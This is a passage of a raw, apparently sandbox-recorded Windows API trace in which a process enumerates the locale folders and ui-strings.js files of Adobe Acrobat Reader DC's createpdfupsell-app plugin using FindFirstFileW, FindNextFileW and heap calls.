DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\js\\nls\\ru-ru\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33155f0 [0275.588] FindNextFileW (in: hFindFile=0x33155f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0275.588] FindNextFileW (in: hFindFile=0x33155f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x55c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0275.589] FindNextFileW (in: hFindFile=0x33155f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x55c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0275.589] FindClose (in: hFindFile=0x33155f0 | out: hFindFile=0x33155f0) returned 1 [0275.589] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4235db0 | out: hHeap=0x670000) returned 1 [0275.589] FindNextFileW (in: hFindFile=0x3315a30, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-sk", cAlternateFileName="")) returned 1 [0275.589] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4235db0 [0275.589] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\js\\nls\\sk-sk\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315670 [0275.590] FindNextFileW (in: hFindFile=0x3315670, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0275.590] FindNextFileW (in: hFindFile=0x3315670, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4f2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0275.590] FindNextFileW (in: hFindFile=0x3315670, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4f2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0275.590] FindClose (in: hFindFile=0x3315670 | out: hFindFile=0x3315670) returned 1 [0275.590] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4235db0 | out: hHeap=0x670000) returned 1 [0275.590] FindNextFileW (in: hFindFile=0x3315a30, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-si", cAlternateFileName="")) returned 1 [0275.590] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4235db0 [0275.590] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\js\\nls\\sl-si\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33157f0 [0275.591] FindNextFileW (in: hFindFile=0x33157f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0275.591] FindNextFileW (in: hFindFile=0x33157f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4d2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0275.591] FindNextFileW (in: hFindFile=0x33157f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4d2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0275.591] FindClose (in: hFindFile=0x33157f0 | out: hFindFile=0x33157f0) returned 1 [0275.591] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4235db0 | out: hHeap=0x670000) returned 1 [0275.591] FindNextFileW (in: hFindFile=0x3315a30, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-sl", cAlternateFileName="")) returned 1 [0275.591] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4235db0 [0275.591] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\js\\nls\\sl-sl\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315cb0 [0275.592] FindNextFileW (in: hFindFile=0x3315cb0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0275.592] FindNextFileW (in: hFindFile=0x3315cb0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 0 [0275.592] FindClose (in: hFindFile=0x3315cb0 | out: hFindFile=0x3315cb0) returned 1 [0275.592] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4235db0 | out: hHeap=0x670000) returned 1 [0275.592] FindNextFileW (in: hFindFile=0x3315a30, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1 [0275.592] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4235db0 [0275.592] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\js\\nls\\sv-se\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315970 [0275.593] FindNextFileW (in: hFindFile=0x3315970, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0275.593] FindNextFileW (in: hFindFile=0x3315970, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4bc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0275.593] FindNextFileW (in: hFindFile=0x3315970, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4bc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0275.593] FindClose (in: hFindFile=0x3315970 | out: hFindFile=0x3315970) returned 1 [0275.594] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4235db0 | out: hHeap=0x670000) returned 1 [0275.594] FindNextFileW (in: hFindFile=0x3315a30, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-tr", cAlternateFileName="")) returned 1 [0275.594] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4235db0 [0275.594] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\js\\nls\\tr-tr\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33159f0 [0275.594] FindNextFileW (in: hFindFile=0x33159f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0275.594] FindNextFileW (in: hFindFile=0x33159f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4d5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0275.594] FindNextFileW (in: hFindFile=0x33159f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4d5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0275.595] FindClose (in: hFindFile=0x33159f0 | out: hFindFile=0x33159f0) returned 1 [0275.595] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4235db0 | out: hHeap=0x670000) returned 1 [0275.595] FindNextFileW (in: hFindFile=0x3315a30, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x451, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0275.595] FindNextFileW (in: hFindFile=0x3315a30, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk-ua", cAlternateFileName="")) returned 1 [0275.595] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4235db0 [0275.595] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\js\\nls\\uk-ua\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315630 [0275.595] FindNextFileW (in: hFindFile=0x3315630, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0275.595] FindNextFileW (in: hFindFile=0x3315630, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x58a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0275.595] FindNextFileW (in: hFindFile=0x3315630, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x58a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0275.596] FindClose (in: hFindFile=0x3315630 | out: hFindFile=0x3315630) returned 1 [0275.596] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4235db0 | out: hHeap=0x670000) returned 1 [0275.596] FindNextFileW (in: hFindFile=0x3315a30, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-cn", cAlternateFileName="")) returned 1 [0275.596] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4235db0 [0275.596] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\js\\nls\\zh-cn\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33155f0 [0275.596] FindNextFileW (in: hFindFile=0x33155f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0275.596] FindNextFileW (in: hFindFile=0x33155f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4c8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0275.596] FindNextFileW (in: hFindFile=0x33155f0, lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4c8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0275.596] FindClose (in: hFindFile=0x33155f0 | out: hFindFile=0x33155f0) returned 1 [0275.596] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4235db0 | out: hHeap=0x670000) returned 1 [0275.597] FindNextFileW (in: hFindFile=0x3315a30, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 1 [0275.597] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4235db0 [0275.597] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\js\\nls\\zh-tw\\*", lpFindFileData=0x396dcac | out: lpFindFileData=0x396dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, 